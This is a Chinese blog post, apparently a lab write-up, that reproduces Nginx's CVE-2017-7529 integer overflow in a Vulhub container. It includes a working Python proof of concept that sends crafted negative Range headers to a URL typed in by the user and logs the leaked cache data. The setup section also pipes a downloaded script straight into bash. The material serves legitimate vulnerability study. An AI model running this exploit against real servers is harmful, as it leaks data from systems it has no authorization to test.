Nginx整数溢出漏洞(CVE-2017-7529)复现

本文详细介绍了如何搭建Vulhub靶机环境,复现Nginx的整数溢出漏洞(CVE-2017-7529)。通过构造特殊的Range请求头,可以导致敏感信息泄露。提供的POC代码展示了如何检测目标服务器是否存在此漏洞,并将结果保存到日志文件中。
摘要由CSDN通过智能技术生成

Nginx整数溢出漏洞(CVE-2017-7529)

1. 环境搭建

1.1 Vulhub靶机搭建

1.1.1 环境安装

(1)安装docker。

$ curl -fsSL https://get.docker.com | bash -s docker --mirror Aliyun

(2)安装Docker-Compose

$ pip install docker-compose

# 如果没有pip需要先安装

$ yum -y install epel-release

$ yum -y install python-pip

$ pip --version  # 查看pip版本

(3)安装Vulhub

$ git clone https://github.com/vulhub/vulhub.git

# 如果没有Git需要先安装

$ yum install -y git

1.1.2 靶场使用

1.输入systemctl start docker 启动docker

2.输入systemctl status docker 查看docker状态

在这里插入图片描述

3.选择对应靶场进入,这里我们选择nginx下的CVE-2017-7529靶场

4.输入docker-compose up -d 启动靶场环境(启动过一次了,我这边直接启动容器即可)

5.成功访问

在这里插入图片描述

2.漏洞复现

2.1 影响版本

  • 影响版本 Nginx 0.5.6 – 1.13.2

2.2 漏洞原理

​ Nginx在反向代理站点的时候,通常会将一些文件进行缓存,特别是静态文件。缓存的部分存储在文件中,每个缓存文件包括“文件头”+“HTTP返回包头”+“HTTP返回包体”。如果二次请求命中了该缓存文件,则Nginx会直接将该文件中的“HTTP返回包体”返回给用户。
如果我的请求中包含Range头,Nginx将会根据我指定的start和end位置,返回指定长度的内容。

​ 如果构造了两个负的位置,将可能读取到负位置的数据。如果这次请求又命中了缓存文件,则可能就可以读取到缓存文件中位于“HTTP返回包体”前的“文件头”、“HTTP返回包头”等内容。

Range 是一个请求首部,告知服务器返回文件的哪一部分。在一个 Range 首部中,可以一次性请求多个部分,服务器会以 multipart 文件的形式将其返回。如果服务器返回的是范围响应,需要使用 206 Partial Content 状态码。假如所请求的范围不合法,那么服务器会返回 416 Range Not Satisfiable 状态码,表示客户端错误。服务器允许忽略 Range 首部,从而返回整个文件,状态码用 200。

2.3 漏洞复现

首先计算正常响应内容的长度

#获取正常响应的返回长度
#verify=False防止ssl证书校验,allow_redirects=False,防止跳转导致误报的出现
 r1 = requests.get(url,headers=headers,verify=False,allow_redirects=False) 
 url_len = len(r1.content)

输出正常的响应内容的数据长度是612,此时将数据长度加大,大于正常的数据长度

# 将数据长度加长,大于返回的正常长度
addnum = 200
final_len = url_len + addnum

此时构造Range请求头,使用带Range请求头的请求来对目标服务器发送请求包

Range请求头,请求两个负的位置,一个为大于正常的长度,一个为0x8000000000000000-之前算的大于正常的长度

# 构造Range请求头,并加进headers中
headers = {
  'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36",
  'Range':"bytes=-%d,-%d" % (final_len, 0x8000000000000000-final_len)
}
# 用构造的新的headers发送请求包,并输出结果
r2 = requests.get(url, headers=headers,verify=False,allow_redirects=False)
text = r2.text
code = r2.status_code

此时输出的结果,不光包含界面,还同时输出了响应包主体,会存在一定的敏感信息泄漏

3.POC

import requests
import time
import urllib3
def cve20177529():
    try:

        # 构造请求头

        headers = {
            'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36"
        }
        url = input('请输入目标URL:')

        # 获取正常响应的返回长度

        #verify=False防止ssl证书校验,allow_redirects=False,防止跳转导致误报的出现
        r1 = requests.get(url,headers=headers,verify=False,allow_redirects=False) 
        url_len = len(r1.content)

        # 将数据长度加长,大于返回的正常长度

        addnum = 200
        final_len = url_len + addnum

        # 构造Range请求头,并加进headers中

        # headers['Range'] = "bytes=-%d,-%d" % (final_len, 0x8000000000000000-final_len)

        headers = {
            'User-Agent': "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.88 Safari/537.36",
            'Range':"bytes=-%d,-%d" % (final_len, 0x8000000000000000-final_len)
        }

        # 用构造的新的headers发送请求包,并输出结果

        r2 = requests.get(url, headers=headers,verify=False,allow_redirects=False)
        text = r2.text
        code = r2.status_code
        if ('ETag') in text and code == 206:
            print('存在Nginx整数溢出漏洞(CVE-2017-7529),已输出到cve20177529_log.txt')

            # 将结果输出到文本上

            with open('cve20177529_log.txt','a',encoding="utf-8") as f:
                f.write('存在Nginx整数溢出漏洞(CVE-2017-7529)-------------'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))+'-------------\n' + r2.text)
                f.close
        else:
            print('未检测到漏洞')

            # 将结果输出到文本上

            with open('cve20177529_log.txt','a',encoding="utf-8") as f:
                f.write('未检测到漏洞-------------'+time.strftime('%Y-%m-%d %H:%M:%S',time.localtime(time.time()))+'-------------\n' + r2.text)
                f.close    
        
    except Exception as result:
        print(result)

if __name__ == "__main__":
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    cve20177529()


在这里插入图片描述

  • 7
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值